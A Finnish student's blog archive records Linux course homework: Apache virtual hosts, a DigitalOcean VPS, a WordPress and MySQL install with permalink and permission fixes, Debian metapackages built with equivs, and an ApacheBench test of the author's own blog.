Kirjoittajan arkistot: ylivaltiatar

Linux kotitehtävä 7: Optimointia

Tämän viikon hommiksi onkin vuorossa tällaista:

”h7 optimointia. Lue koko tehtävänanto ja vinkit seuraavasta kommentista ennen kuin ryhdyt työhön. Kuormitustyökaluja saa käyttää ainoastaan omaan koneeseen.

Tee ja raportoi:
– Mittaa omalla koneellasi olevan WordPress-sivun ja samanlaisen staattisen sivun nopeuseroa ‘ab’ työkalulla.
– Asenna Varnish. Mittaa jonkin dynaamisen weppisivun (wordpress tms) suorituskyky ennen ja jälkeen asennuksen. Kuinka suuren hyödyn saat?

Tee ainakin kaksi seuraavista:
a) Muuta jotain Varnishin asetusta VCL-kielellä (esim iso-kuvat suoraan läpi – ei välimuistiin)
b) Analysoi ja nopeuta weppisivua YSlow -lisäkkeen avulla
c) Analysoi ja nopeuta weppisivua Firebug -lisäkkeen Net-välilehden avulla
d) Etsi jokin nopeuden analysoinnissa auttava palvelu wepistä ja käytä sitä”

Mitä luin tehtävänantoa lävitse, niin lähdin sen jälkeen suosiolla seuraamaan tarkemmin Eino Liimattan ohjeita. Mutta ensin toki ne perus jutut, eli:

$sudo apt-get update

Tämän jälkeen tein tehtävää varten oman hakemistonsa public_html:ään

$mkdir ~/public_html/blogaus.fi

Tämän jälkeen muokkaamaan /etc/hosts tiedostoa

$sudo nano /etc/hosts

Ja määrittelin sinne ”virtuaalipalvelimen” nimitedot, lisäämällä seuraavat rivit:

127.0.xxx.xxx http://www.blogaus.fi
127.0.xxx.xxx blogaus.fi
crtl+x ja yes.

Sitten seurasi tämä perinteinen Apachen asetustiedostojen muokkaaminen. Siirtyminen siis Apachen asetuskansioon:

$ cd /etc/apache2/sites-available/

Helpottaakseni mahdollisia sotkuja, kopioin aiemman harjoituksen .conf tiedostosta asetukset.

$ sudo cp wwww.kisu.fifi.conf blogaus.fi

ServerName www.blogaus.fi
ServerAlias blogaus.fi
DocumentRoot /home/kristiina/public_html/blogsite.com

php_admin_value engine 1

ServerAlias *.blogaus.*

ctrl+x ja yes

Tämän jälkeen blogauksen käyttöön otto:

$ sudo a2ensite blogaus.fi
Tästä seurasi ilmoitus:
ERROR: Site blogaus.fi does not exist!

Mietin hetken aikaa että mitä häh, tarkistin vielä että root hakemisto on sites-available:ssa oikein ja olihan se, kunnes sitten tajusin että olin unohtanut ubuntu 13.10 omaavan sen ärsyttävän piirteen että tiedoston perässä PITÄÄ olla .conf merkintä. Noh seuraavaksi sitten vain muuttamaan tiedoston nimeä:

$ sudo mv blogaus.fi blogaus.fi.conf

Sitten uudelleen:

$ sudo a2ensite blogaus.fi

Tämän jälkeen vielä Apachen uudelleen käynnistys

$ service apache2 reload

Tässä kohtaan huomasin tosiaan että uudelleen käynnistys ei onnistunut tuon conf tiedostossa olevan php_admin_value engine:n takia, joten menin takaisin ja poistin ko. rivin kokonaan. Tämän jälkeen apache käynnistyi normaalisti uudelleen.
Vuorossa seuraavaksi sitten virtuaalipalvelimen testaaminen lisäämällä lyhyen testi.php tiedoston /public_html/blogaus.fi tiedostoon.

Nyt olisi vuorossa toimivuuden testaaminen vielä selaimessa, joka valitettavasti ei sitten toiminutkaan…
The reguested URL /testi.php was not found on this server

Tarkistin .php tiedoston oikeudet ja kaikilla oli lukuoikeudet siihen, joten seuraavaksi miettimään mikä mättää jossain muualla… Tässä taas näkee sen kun pelaa useammalla snapshotilla, niin alkaa menemään vellit ja pullat sekaisin. 😀
Eli tässä snapshotissa minulta puuttuikin php5, vaikka apache löytyikin… Eli *kröhöm* asennetaan se php5:

$ sudo apt-get install php5

Nyt testisivu toimii muttei näytä sivua oikein

Uskaltaisin tässä kohtaa veikata, että olisi sittenkin pitänyt jättää sinne .conf tiedostoon se php_admin pätkä, noh kokeillaan ja mennään lisäämään se takaisin sinne. Joskohan sitten lähtisi pelittämään kunnolla.

$ cd /etc/apache2/sites_available/

$ sudo nano blogaus.fi.conf

<VirtualHost *:80> 
ServerName www.blogaus.fi
ServerAlias blogaus.fi
DocumentRoot /home/kristiina/public_html/blogsite.com
 <Directory /home/kristiina/public_html/blogaus.fi>
php_admin_value engine 1

</Directory>
ServerAlias *.blogaus.*
</VirtualHost>

ctrl+x ja yes

Tämänkään jälkeen sivusto ei näkynyt oikein, kunnes hetken pohdittuamme totesimme ettei esimerkki koodissa ollut html:ää ollenkaan,
joten eipä sivu olisikaan näkynyt hyvin koska ei ollut validi webbisivu. Lisäsin perus html tagit php:n ympärille ja tämän jälkeen sivu pelittikin hyvin.

[tähän muokattu koodi]





Ensitöikseen joutuikin käynnistelemään mysql uudelleen, kun Digital Oceanilla tuo snapshotin ottaminen edellytti palvelimen päältä pois laittamista.

$ sudo service apache2 restart

ja heti perään

$ sudo service mysql restart

Noin, nyt blogi toimiikin ja näkyy jälleen. Tämän jälkeen piti vielä asentaa apache2-utils että saisin ab:n toimimaan

$ sudo apt-get install apache2-utils

$ ab -c 10 -n 100 http://kittipitti.tk/2014/03/05/perus-rytinalla-mennaan/
This is ApacheBench, Version 2.3 <$Revision: 1430300 $>
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Licensed to The Apache Software Foundation, http://www.apache.org/

Benchmarking kittipitti.tk (be patient)…..done

Server Software:        Apache/2.4.6
Server Hostname:        kittipitti.tk
Server Port:            80

Document Path:          /2014/03/05/perus-rytinalla-mennaan/
Document Length:        251 bytes

Concurrency Level:      10
Time taken for tests:   0.278 seconds
Complete requests:      100
Failed requests:        0
Write errors:           0
Non-2xx responses:      100
Total transferred:      58400 bytes
HTML transferred:       25100 bytes
Requests per second:    360.31 [#/sec] (mean)
Time per request:       27.754 [ms] (mean)
Time per request:       2.775 [ms] (mean, across all concurrent requests)
Transfer rate:          205.49 [Kbytes/sec] received

Connection Times (ms)
min  mean[+/-sd] median   max
Connect:        0    0   1.0      0       4
Processing:     4   26   6.8     26      59
Waiting:        0   12  10.5      7      59
Total:          4   27   7.0     27      59

Percentage of the requests served within a certain time (ms)
50%     27
66%     28
75%     30
80%     31
90%     33
95%     35
98%     50
99%     59
100%     59 (longest request)

 

Lähteet:

Linux kotitehtävä 6: Asenna wordpress ja muuta raportointia

Tehtävänanto oli tällä viikkoa muotoa tämä:

”h6:
– Asenna WordPress (alkaen tilanteesta, jossa LAMP on asennettu)
– Kirjoita esimerkkisisältöä

Tee ja raportoi neljä seuraavista:
– Ota järkevät URLit (permalinks) käyttöön*
– Vaihda teema*
– Varmuuskopioi sisältö
– Palauta varmuuskopioitu sisältö puhtaaseen WordPress-asennukseen
– Tee WordPressiin oma teema
– Asenna WordPressiin plugin (esim Dofollow)
– Asenna Drupal ja kokeile sitä
– Asenna Joomla ja kokeile sitä
– Tee WordPressiin oma pluginka
– Lisää kuvia WordPressiin (ja laita tämä toimimaan)*
– Laita WordPress nimipohjaiseen virtuaalipalvelimeen (http://thello.foo tms)
– Jos sinulla on oma virtuaalipalvelin, tee sille http://dot.tk nimi (kokeile jollain vähäarvoisella nimellä*
– Vaikea: Tee esimerkkisivu Ruby on Rails (tuotantotyyppinen, ei pelkkä yhden käyttäjän testipalvelin)
– Vaikea: Tee esimerkkisivu Python Django:lla (tuotantotyyppinen, ei pelkkä yhden käyttäjän testipalvelin)

Vapaaehtoinen bonus:
– Pelaa SqlZoo:ta. Hyppää yli tehtävistä, jotka on merkitty erityisen vaikeiksi.”

Ti 4.3 klo 1830

– Asenna WordPress (alkaen tilanteesta, jossa LAMP on asennettu)
– Kirjoita esimerkkisisältöä

Välissä kun asentelin mysql ja php5:n latasin sitten viimeisimmän WordPressin (http://wordpress.org/latest.tar.gz) ja purin sen sitten suoraan /var/www/ hakemistoon.

$ wget http://wordpress.org/latest.tar.gz

Purin tiedoston.

$ tar -zxvf latest.tar.gz

Seuraavaksi oli vuorossa wordpress tietokannan luominen

$ mysql -u root -p

Kysyy rootin salasanaa -> annat mysql root salasanasi ja pääset tämän jälkeen luomaan tietokantatauluja.

Kokeilin tietokantojen luomista ensin omilla nimillä, mutta koska ne eivät toimineetkaan (lue: typotusta), niin kokeilin uudelleen testaus/esimerkki nimillä ja sanasanoilla, jotka sitten heti muutin kun olin testannut että toimii testitiedoilla.

mysql> CREATE DATABASE wordpress; Query OK, 1 row affected (0.00 sec)

Tämän jälkeen loin uuden käyttäjän, käytin ohjeiden mukaisia nimityksiä koska ensimmäinen yritykseni epäonnistui, joten lähdin tekemään koko sql-osuutta uudelleen jotta saisin eliminoitua mahdolliset virheet.

mysql> CREATE USER wordpressuser@localhost; Query OK, 0 rows affected (0.00 sec)

Ja tämän jälkeen asetetaan salasana uudelle käyttäjälle, tämä salasana kannattaa olla hyvä eli monimutkainen, toisinkuin tässä esimerkissä. Sen kopioiminen leikepöydälle ja liittäminen hetkeksi esimerkiksi notepadiin helpottaa sen syöttämistä jatkossa. Tätä salasanaa ei kuitenkaan tarvitse syöttää usein.

mysql> SET PASSWORD FOR wordpressuser@localhost= PASSWORD("password"); Query OK, 0 rows affected (0.00 sec) mysql> GRANT ALL PRIVILEGES ON wordpress.* TO wordpressuser@localhost IDENTIFIED BY 'password'; Query OK, 0 rows affected (0.00 sec) mysql> FLUSH PRIVILEGES; Query OK, 0 rows affected (0.00 sec) mysql> exit

Sinne meni sql osuus! Seuraavaksi wordpressin configurointi:

$ cp ~/wordpress/wp-config-sample.php ~/wordpress/wp-config.php

Sitten avataan wordpressin .config tiedosto tekstinkäsittelyohjelmalla

$ sudo nano ~/wordpress/wp-config.php

Seuraavaksi muokataan alla olevia osioita, alleviivatut osuudet ovat vain esimerkkejä, jotka tulisi nimetä oman maun mukaan. Itse tyrin ekalla yrityksellä, niin nyt kokeilin esimerkeillä ensin.

// ** MySQL settings - You can get this info from your web host ** //

/** The name of the database for WordPress */define('DB_NAME', 'wordpress');

/** MySQL database username */ define('DB_USER', 'wordpressuser');

/** MySQL database password */ define('DB_PASSWORD', 'password');

ctrl+x, eli tallennus ja tiedosto kiinni.

Seuraavaksi tiedostojen purettujen tiedostojen kopiointi /var/www/ hakemistoon

$ sudo rsync -avP ~/wordpress/ /var/www/

Vuorossa on lupien antaminen wordpressin asennukselle, ensin siirrytään www-hakemistoon.

$ cd /var/www/ Vaihdetaan hakemiston omistajuus apachekäyttäjälle

$ sudo chown username:www-data /var/www -R $ sudo chmod g+w /var/www -R

Tauko: 21.15-22.30

WordPressin asennus

Tämän jälkeen wordpressillä on oma helppo asentaminen selaimen kautta. Varmista kuitenkin että sinulla on asennettuna tämä phpmoduuli, sillä muuten wordpressin asennus ei toimi.

$ sudo apt-get install php5-gd

Tämän jälkeen otat yhteyttä selaimella wordpressiin:

(ip-osoitteesi)/wordpress/wp-admin/

WordPress lataa asennussivun selaimeesi, jossa se pyytää sinua tekemään tunnuksen ja salasanan sekä nimen blogillesi, vakuuttaen samalla että nämä kaikki ovat asioita joita voit muuttaa kyllä jälkeen päin.

Tunnusten luonnin jälkeen sivu latasi hetken, tuoden sitten wordpressin perusohjausnäkymän edelleni valmiiksi ensimmäistä blogaamista varten.

Nyt minulla on asennettuna wordpress virtuaalipalvelimelleni, joka toimii.

Lopetus klo 23.10

En onnistunutkaan lopettamaan hommia tähän, vaan tein dot.tk sivuilla itselleni domain nimen http://www.kittipitti.tk sivustolleni. Meni kuitenkin hetki ennen kuin se tuli voimaan, jolloin näkyi vain esimerkki sivustoni minkä olin laittanut kittipitille aiemmassa tehtävässäni.

Siirryin sitten cd /etc/apache2/sites-available hakemistoon ja muokkasin 000-default.conf tiedostoa niin että korjasin kittipitin päätteen .comista -> .tk ja muutin document roottia jotta uusi worpressini tulisi esiin kun laitan selaimeen http://www.kittipitti.tk. here goes…

Jes ei toimi, ei ainakaan niinkuin haluaisin…

WordPress hermostui oikein olantakaa muutoksesta ja vaikka veivasin asetukset takaisin, joka samalla rikkoi permalinkit jostakin syystä, jotka olin ehtinyt asettaa selaimen kautta haluamaani muotoon. Nyt toimii siis vain default-vaihtoehto permalinkeille, ilmeisesti huomenna on edessä wordpressin uudelleen asennus tai ainakin uuden tietokannan luominen kokonaan. Teeman vaihtamiseen tämä ei vaikuttanut, mutta se ei poista ketuttamista siitä että kun klikkaa rewiev post tulee vain ”The requested URL /wordpress/2014/03/04/tama-toimii/ was not found on this server. saa jatkua sitten huomenna, mmeh.

Klo 0.30 Ke klo 1730

Uusi päivä uudet kujeet. Lähdin uhkarohkeasti kokeilemaan eilen törmäämääni ongelman korjausta sillä, että poistan vaan vanhan tietokantataulun ja kirjottelen sql jutut uusiksi. Tässä vaiheessa tuo ei vienyt kovinkaan paljoa aikaa, mikä oli luonnollisesti positiivista. Eli:

$ mysql -u root -p mysql> DROP DATABASE wordpress;

mysql> CREATE DATABASE wordpress;

mysql> CREATE USER wordpressuser@localhost;

mysql> SET PASSWORD FOR wordpressuser@localhost= PASSWORD("password");

mysql> GRANT ALL PRIVILEGES ON wordpress.* TO wordpressuser@localhost IDENTIFIED BY 'password';

mysql> FLUSH PRIVILEGES;

mysql> exit

Sitten vain ip-osoitteella, tai sitten dns nimellä (www.kittipitti.tk) yhteys palvelimeen niin WordPress lataa asennussivun selaimeesi, jossa se pyytää sinua tekemään tunnuksen ja salasanan sekä nimen blogillesi, vakuuttaen samalla että nämä kaikki ovat asioita joita voit muuttaa kyllä jälkeen päin. Nyt vielä oli vuorossa testaaminen sekä kokeilu että mitenkäs ne permalinkit tällä kertaa käyttäytyvät… Ensin tein hieman esimerkkisisältöä kuitenkin ja lisäsin kuvan, joka ei kuitenkaan sitten ollut niin helppoa kuin ajattelin…

”Unable to create directory wp-content/uploads/2014/03. Is its parent directory writable by the server?”

Kokeilin useampaankin otteeseen, mutta sama herja vaan tuli. Googlettelin ongelmaa ja yhdessä pulmapalstassa neuvottiin hakemiston lupien tarkistamista ja muokkaamista:

$ sudo chown -R www-data /var/www/wp-content $ sudo chmod -R u+w /var/www/wp-content/uploads

Tämän jälkeen raavimme päätämme hetken ajan, kunnes todettiin että olimmekin vanhassa wordpress hakemistossa, jonka sitten poistimmekin häiritsemästä. Tämän jälkeen myöskin kävimme sitten muokkaamassa oikeaa wp-config.php tiedostoa, koska sekoilun ansiosta olin siis muokannut väärää versiota. Eli:

/var/www$ sudo rm -rf wordpress

ja tämän jälkeen oikean wordpress wp-config.php tiedoston muokkaaminen.

// ** MySQL settings - You can get this info from your web host ** //

/** The name of the database for WordPress */ define('DB_NAME', 'wordpress');

/** MySQL database username */ define('DB_USER', 'wordpressuser');

/** MySQL database password */ define('DB_PASSWORD', 'password');

Tämän jälkeen testaus vielä kerran että menisikö kuva postaukseen vai, jos ei niin edessä olisi varmasti koko höskän sileäksi vetäminen ja uudelleen kasaaminen sitten… Onnekseni kuvan lisäys onnistui ja näkyi julkaistussa postauksessani.

Tämän jälkeen menin vielä ottamaan päivämäärämerkinnän käyttöön mallia ”2014/03/05” jotta vuosiluku näkyisi ensin. Sen lisäksi muutin vielä samalla sivulla olleista sivuston URL:it nimipalvelun muotoon (kittipitti.tk) ja näiden muutosten tallennuksen jälkeen selaimen osoiterivillä ei enään näkynyt ip-osoitetta. 🙂

Tämän jälkeen menin vielä wordpressin dashboardilla kohtaan appearance ja vaihdoin teeman pois oletuksesta. Tässä versiossa ei ollut monia tarjolla, mutta näkeepähän miltä näyttää eri versiolla. Tässä vaiheessa muistin vielä puheen permalinkeistä ja siirryin wordpressin settings osiossa olevaan permalinks linkkiin ottamaan ne käyttöön.

Päätin laittaa asetukset Day and name muotoon, tämän jälkeen jälleen painoin save changes ja jatkoin katsomaan etusivuani miltä se näytti ja että toimivatko ne varmasti.

Noh eihän ne tietenkään taas toimineet, jos valitsee minkä tahansa muun kuin defaultin vaihtoehdon. Googlettelin ongelmaa, yhdeltä sivulta löytyi oikeanlaiset ohjeet mutta hieman puutteeliset. Ongelmana siis oli se että apache ei antanut kirjoittaa yli näitä asetuksia ja täten ei toiminut permalinkittäminenkään. Eli seuraavaksi toimittiin näin:

$ cat /etc/apache2/mods-available/rewrite.load

Linkityksen luominen

$ sudo a2enmod rewrite

Kyseisen tiedoston muokkaaminen

$ sudo nano /etc/apache2/sites-available/000-default.conf

Ohjeet tässä kohtaa kulkivat näin ”Then open up the following file, and replace every occurrence of ”AllowOverride None” with ”AllowOverride all”.”

$ sudo service apache2 restart

Ei vielä toiminut kuitenkaan, vaan koska .conf tiedostossa ei ollut lainkaan vastaavaa kohtaa, en oikein tiennyt mitä muokata ja lisäsin vain kyseisen tekstin pätkän sinne. Ei se tietenkään toiminut, joten nopean uudelleen googlettelun kautta löysin ohjeistuksen jossa piti siis lisätä alla oleva directory-osuus sinne tageineen.

<Directory /var/www/vhosts/example.com> AllowOverride all </Directory>

ctrl+x

$ sudo service apache2 restart

Tämän jälkeen kokeilin uudelleen mennä postaukseeni wordpressissä ja tällä kertaa sivusto latautui normaalisti. 🙂

Klo 20.20

Tässä vaiheessa ajattelin pitkän päivän päätteeksi vilaista tuota pluginin asentamista, siihenkin varmasti liittyy jonkinlainen kompa mutta hittoakos siinä. dashboardilla vaan plugins kohtaan ja hakuun nimeksi dofollow, sinnehän se sitten ensimmäisenä ilmestyikin. Tässä kohtaa vähän kummasteltiin että miksi ihmeessä tämä plugini haluaa yhteyden serveriini, joten jätän tämän mietintä myssyyn hautumaan ja katselen jos jaksan ratkoa tämän robleeman… Lähteet:

Linux 5 kotitehtävä

Tällä erää tehtäväksi annettiin nimipohjaisen virtuaalipalvelimen pystyttäminen.

”h5. Tee nimipohjainen virtuaalipalvelin Apachelle (name based virtual hosting). Muista laittaa sekä http://www.example.com että example.com. Voit simuloida asiakkaan nimipalvelua muuttamalla /etc/hosts -tiedostoa.

Kokeile virtuaalipalvelinta (VPS). Voit vuokrata palvelimen esimerkiksi Linodelta, Amazonilta, DigitalOceanilta tai monista muista paikoista. Linodella ja Amazonilla saattaa olla myös ilmaisenkokeilu paketin. Vaihtoehto: jos et jostain syystä halua vuokrata virtuaalipalvelinta, voit kokeilla tehdä oman vagrantilla.”

Mainittakoon vielä, että suurin osa sepustuksista on kirjoitettu ulkomuistista, eli lyöntivirheitä löytyy varmasti ja myös wordpress muokkaili jotakin vähän omine lupineen. Bare with me!

Pe 28.2 klo 20.35

Aloitin normiasetuksilla, eli päivitysten ajaminen virtual boxissa olevaan Ubuntuun (versio 13.10). Siirryin takaisin ensimmäiseen snapshottiin johon ajoin päivitykset ja jossa ei ollut valmiiksi asennettuna Apachea.

$ sudo apt-get update

$ sudo apt-get upgrade

ja Apachen asennus

$ sudo apt-get install apache2

Tämän jälkeen testasin että toimiiko apache kirjoittamalla palvelimeen <a href="http://localhost/" target=”_blank”>http://localhost ja esimerkki sivu pompahti esiin sieltä.

Tästä jatkoin Teron tekemien ”Demonien tekeminen” ohjeistuksella, ihan vaan muistuttaakseni miten tämän apachen kanssa taas toimittiinkaan. (http://terokarvinen.com/2008/install-apache-web-server-on-ubuntu-4)

$ firefox http://localhost

Homma toimii!

Tsekkasin ipni
$ ip addr

kokeilin yhteyttä ip-osoitteella selaimessa

$ firefox http://10.0.2.15
Hyvin pelitti esimerkkisivu.

Userdir:in käyttöönotto
$ sudo a2enmod userdir

Apachen uudelleen käynnistys muutosten voimaantuloa varten
$ sudo /etc/init.d/apache2 restart

Olen jo kotihakemistossani, joten loin suoraan kansion public_html:ää varten

$ mkdir public_html

Katson ohjeiden mukaan nimeni

$ whoami -kristiina

Sitten sen tsekkaaminen selaimella

$ firefox http://localhost/~kristiina

Ja hakemistopolku näkyy selaimessa, ei siellä nyt mitään ole mutta toimivuus on todettu.

Tämän jälkeen saadakseni virtual hostin toimimaan, minun piti lisätä seuraavat tiedot tiedostoon apache2.conf, joka oli ohjeessa mitä seurasin tosin eriniminen koska sitä oli muutettu ubuntu versioon 13.10, ohjeessa siis lukee httpd.conf.
Valitettavasti lopulta päädyimme vaan tuijottelemaan tiedoston sisältöä muttemme sitten koskeneetkaan siihen.

Muutokset ja muokkaukset piti tehdä sites-availeble hakemiston conf. tiedostoihin, näissä tapauksissa Ubuntu 13.10 versio edellyttää .conf päätettä tai sivuja ei saa näkyviin selaimessa.

Tein aluksi kaikki muokkaukset 000-default.conf- tiedostoon, mallia:

NameVirtualHost *:80

ServerName http://www.kristiina.fifi
ServerAlias kristiina.fifi *.kristiina.fifi
DocumentRoot /var/www/kristiina

ServerName http://www.example.fifi
DocumentRoot /var/www/example

Tällä tavalla homma toimi examplella, mutta ei kristiinalla. Testailtuani selaimessa epäilimme aluksi että vika on nimen yleisyydessä, lopulta kuitenkin selvisi ongelman olleen .conf tiedostoissa.
Muutin ensin nimipalvelimen kisuksi, koska oletin että se oli ongelmana.

Googlettelun jälkeen yhdeksi ongelmaksi esitettiin myös että dnsmasq:in conffissa ei ole kaikki kohdallaan ja että sitä tulisi korjata hieman.

$ sudo nano /etc/NetworkManager/dnsmasq.d/hosts.conf

Ja tiedostoon lisätään tämä pätkä jotta voin luoda domain nimiä ilman että ne ovat oikeita.
addn-hosts=/etc/hosts

$ sudo mv kristiina kisu.conf

Ja sama muutos example-tiedoston suhteen.

$ sudo mv example example.conf

Tämän jälkeen kopioin 000-default.conf sisällön kisuun ja exampleen, jonka jälkeen siivosin sitten kaiken turhan sieltä pois. Virhe oli siis alunperinkin laittaa klummankin sivun conffaukset yhteen tiedostoon. Eli kisu:n ja example:n sisällöt olivat lopulta muotoa:

ServerName www.example.fifi
DocumentRoot /var/www/example

Ja samat kisuun, examplen tilalla vain kisu.

Tämän jälkeen pitää linkittää nämä conffitiedostot sites-enabled hakemistoon jotta ne oikeasti ladataan ja luetaan -> sivut näkyvätkin selaimessa. Komento seuraa:

$ sudo a2ensite example
Site www.example.fifi installed; run /etc/init.d/apache2 reload to enable.
$ sudo a2ensite kisu
Site www.kisu.fifi installed; run /etc/init.d/apache2 reload to enable.

Tämän jälkeen takaisin selaimeen tarkistamaan sivujen pelitys ja nyt vihdoinkin toimivat edes, eli tähän asti on päästy. Jatkoa seuraa sitten virtuaalipalvelimen kokeilun muodossa, toivottavasti homma lähtee pelittämään.

Lopuksi tuli mieleeni että tietenkin examplelle ja kisulle pitit tehdä omat hakemistonsa /var/www/ alaisuuteen

$ mkdir www.kisu.fifi
$ mkdir example


Klo La 1.3 klo 00.50

Su 2.3 klo 1230

Seuraavaksi oli vuorossa virtuaalipalvelimen kokeileminen. Valitsin Digital Oceanin palvelut osin opettajan ehdotuksesta, osin opiskelijakaverin suosituksesta. En omista luottokorttia niin tämä oli siitä miellyttävä vaihtoehto koska hyväksyy paypal-maksut myös, hinta ei myöskään ole liian kova (5$) joka tekee noin 4,5€/kk.

Perustin kisulan Digital Oceaniin, jossa sai otettua sitten terminaaliyhteyden kisulaan. Ajoin samat peruskomennot ensin, eli pakettien päivitykset ja asennukset.

$ apt-get update
$ apt-get upgrade

Tämän jälkeen kokeilin ottaa yhteyttä myös puttyn kautta windowssista, DigitalCloudista löytyy ohjeet siihen (https://www.digitalocean.com/community/articles/how-to-create-your-first-digitalocean-droplet-virtual-server). Seuraavaksi piti vielä vaihtaa rootin default sanalana komennolla:

$passwd

Joka sitten kysyy uutta salasanaa ja pyytää sen vielä uudelleen että salasana vaihtuu lopulta. Tämän jälkeen luon uuden käyttäjän jolle annan root oikeudet, ettei minun tarvitsisi kirjautua sisään roottina joka kerta.

$adduser catti
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for catti
Enter the new value, or press ENTER for the default
Full Name []: Kristiina
Room Number []:
Work Phone []:
Home Phone []:
Other []:

Tämän jälkeen muokkaamaan sudo asetuksia

$ visudo

Jossa näkyy vastaavaa:

# User privilege specification
root    ALL=(ALL:ALL) ALL

Ja jonka perään lisäsin pätkän:

catti    ALL=(ALL:ALL) ALL

ctrl+x tallennettuna muutoksineen. Tämän jälkeen avasin uuden yhteyden juuri luomallani käyttäjällä ja hyvinhän tuo yhteys pelitti. Tämän jälkeen asentelin apachen palvelimelle päivityksineen puttyn kautta.

$ sudo apt-get install apache2
ja
$ sudo a2enmod userdir

$ sudo /etc/init.d/apache2 restart

ja

$ mkdir public_html

Tässä kohtaa jäin miettimään tarvitseeko minun laitella noita epäolemassaolevia domain nimiin koskevia asetuksia, mutta koska ilmeisesti Digital Ocean tarjoaa myös tämän palvelun, niin tein itselleni DNS:ksi http://www.kittipitti.comin jota voin kutsua suoraan sitten kun siihen vaiheeseen päästään.

Tämän tehtävän suhteen seurailin aiemmin tekemiäni vaiheita(ks. yllä) ja ainoa mikä aiheutti hämminkiä, oli uusi palvelu ja sen omat toiminnot. Jotka ovat vielä pieni mysteeri setvittäväksi. Eli loin http://www.kittipitti.com:lle oman .conf tiedoston sites-available hakemistoon ja linkitin http://www.kittipitti.com:in sites-enabled hakemistoon, tai siis tein tämän:

$ sudo a2ensite kittipitti

Ja tämän jälkeen apachen uudelleen käynnistys.

$ /etc/init.d/apache2 reload

Käyttäjäni sivut näkyivät kyllä, mutta kittipitti.com:in sivut eivät näkyneet selaimessa. Googlettelun jälkeen selvisi, ettei Digital Ocean tarjoakkaan DNS palvelua, joten poistin luomani kittipitti.com:in sieltä kokonaan turhana. Virtuaalipalvelin kuitenkin pelittää kuitenkin selaimessa, ettei ihan turhaa ole ollut tämän päivän pakertaminen. Jos minulla olisi DNS-nimi, niin sitten voisin liittää sen Digital Oceaniin. Kirjoittelin huvikseni pieniä muokkauksia index.html tiedostoon, vain varmistaakseni sen että se toimii. Noh toimiihan se. 🙂
DNS:sää en kuitenkaan lähtenyt hankkimaan budjetin takia.
Taukojen ja yleisen muun härväämisen ohella tämä työ saatiin päätökseen n. klo 1700.

Lähteet:

 

Linux kotitehtävä 4

Tämän viikon tehtävänantoon kuuluukin metapaketit ja niiden käsittely sekä kasaus.

Tehtävänanto kokonaisuudessaan:

h4:

– Tee metapaketti, joka asentaa suosikkiohjelmasi. Katso, että se menee läpi lintianista.

– Tee pakettivarasto repreprolla

– Paketoi jokin skriptisi, niin että paketti asentaa järjestelmän käyttäjille uuden käskyn

Vapaaehtoiset bonus-tehtävät:

– Kertaa Apachen asennus, käyttäjien kotisivujen teko ja lokin lukeminen

– Allekirjoita reprerolla tekemäsi varasto

Klo 13.30 Su

Metapaketin teko.

Ensitöikseni suoritin perinteiset toimenpiteet, eli päivitykset Ubuntuun kasaan ennen kaikkea muuta.

$ sudo apt-get update

$ sudo apt-get upgrade

Ja näin päivitykset kasassa. Koska en muistanut ulkoa miten metapaketti luodaan, seurasin T.Karvisen ohjetta nopeaan metapakettien luomiseen (http://terokarvinen.com/2011/create-deb-metapackage-in-5-minutes).

Tämän jälkeen seurasin ohjetta vaihe vaiheelta, luonnollisestikkin tähänkin matkaan mahtui virheitä mukaan mutta se kuuluu selkeästi asiaan kun asiaan meikäläisen säätäessä. Tämän jälkeen vuorossa oli equivs:in asennus komennolla:

$ sudo apt-get -y install equivs

Tämän jälkeen loin lähdetiedoston, jonka nimesin vastaavasti:

$ equivs-control kristiinas-ipknow.cfg

Tämän jälkeen avasin cfg tiedoston nanolla ja muokkasin ohjeen mukaan kohdat ”Package”, “Version” and “Depends”. Muistin jopa poistaa risuaidat muokattujen osuuksien edestä.

$ nano kristiinas-ipknow.cfg

Joka näyttää muokkauksen jälkeen tältä


Section: misc

Priority: optional

Standards-Version: 3.6.2

Package: kristiinas-ipknow

Version: 0.1

Depends: geoip-bin, gparted, nethack-console, gimp

Description:

long description and info

.

second paragraph

Lisäsin esimerkissä olleille paketeilla pari kaveria, nethackia on rummutettu kotona sen verran että täytyneen kokeilla sitäkin tässä kurssin ohella. Hyvä tekosyy siis asennella se mukaan.

Tämän jälkeen oli vuorossa paketin rakentaminen komennolla:

$ equivs-build kristiinas-ipknow.cfg

Uusi paketti on luotu. Tämän jälkeen testasin vielä että paketti varmasti toimii, komennolla:

$ sudo gdebi -n kristiinas-ipknow_0.1_all.deb

Huomasin ettei asennuksessa löytynyt gdebiä, joten edessä oli sen asentaminen.Ohjeessa tätä ei siis ollut, siksi tämä oli jäänyt huomiotta.

$ sudo apt-get install gdebi

Testasin uudelleen mutta Valitettavasti paukahti gdebi erroria edelleenkin ”gdebi error, file not found: kristiinas-ipknow_0.1_all.deb”, jonka mukaan tiedostoa ei löydy, vaikka sen juuri nanolla tsekkasin. Hetken pähkäilyn jälkeen kokeilin muuttaa komentoa hieman:

$ sudo gdebi -n kristiinas-ipknow.cfg_0.1_all.deb

Tämän pienen muutoksen jälkeen paketin testaus onnistui, tämä osoittaa sen että ohjeita seuraamalla silti tulee yllätyksiä tuon tuosta. Jostakin syystä ohjeiden esimerkissä tuo .cfg pääte puuttui komentoketjusta ja tästä syystä se ei ainakaan itsellä toiminut.

Seuraavaksi vuorossa oli katsastaa että miten tämä saataisiin menemään läpi lintianista, eli ensitöikseni vuorossa sen asentaminen:

$ sudo apt-get install lintian

Jonka jälkeen ajoin paketin lintianista läpi.

$ lintian kristiinas-metapaketti.cfg_0.1_all.deb

Lintian ilmoitti ensitöikseen että sähköposti ei ole validi eikä ylläpito-osoite. Eli uudelleen vaan nanottamalla pakettia auki ja korjaamaan virheitä.

 

Maintainer: Your Name <yourname@example.com> -> Kristiina Honkaheimo <kristiina.honkaheimo@myy.haaga-helia.fi>

Tämän jälkeen päivitin versionumeron nanolla

$ nano kristiinas-metapaketti.cfg_0.1_all.deb

Muutin versionumeron 0.1-> 0.2 ja tallensin muutokset. Tänäm jälkeen tein paketin uudelleen.

$ equivs-build kristiinas-metapaketti.cfg

Joka ilmoitti paketin luomisesta.

Tämän jälkeen testasin paketin toimivuuden

$ sudo gdebi -n kristiinas-ipknow.cfg_0.2_all.deb

Joka sitten ilmoitti korvaavansa vanhan version paketista uudella.

